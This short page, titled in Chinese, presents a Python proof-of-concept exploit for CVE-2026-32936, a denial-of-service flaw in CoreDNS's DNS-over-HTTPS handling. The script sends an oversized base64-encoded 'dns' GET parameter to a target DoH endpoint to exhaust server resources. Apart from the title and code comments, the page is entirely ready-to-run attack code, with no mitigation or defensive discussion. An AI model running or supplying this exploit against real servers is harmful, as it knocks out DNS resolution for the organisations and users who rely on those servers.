CVE-2026-32936 CoreDNS DoH拒绝服务漏洞

import requests import base64 def trigger_dos(target_url): """ PoC for CVE-2026-32936: CoreDNS DoH DoS via oversized GET parameter. This script sends a large 'dns' parameter to exhaust server resources. """ # Generate a large payload (e.g., 100KB of 'A's) # The vulnerability occurs during the decoding/unpacking phase before size validation. large_data = 'A' * 100000 # Base64 encode the payload as expected by the DoH 'dns' parameter encoded_payload = base64.b64encode(large_data.encode()).decode() # Construct the malicious GET request parameters params = { 'name': 'example.com', 'type': 'A', 'dns': encoded_payload } try: print(f"Sending payload to {target_url}...") response = requests.get(target_url, params=params, timeout=5) print(f"Response Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed or timed out (Server might be unresponsive): {e}") if __name__ == "__main__": # Replace with the actual target CoreDNS DoH endpoint target = "http://127.0.0.1:8053/dns-query" trigger_dos(target)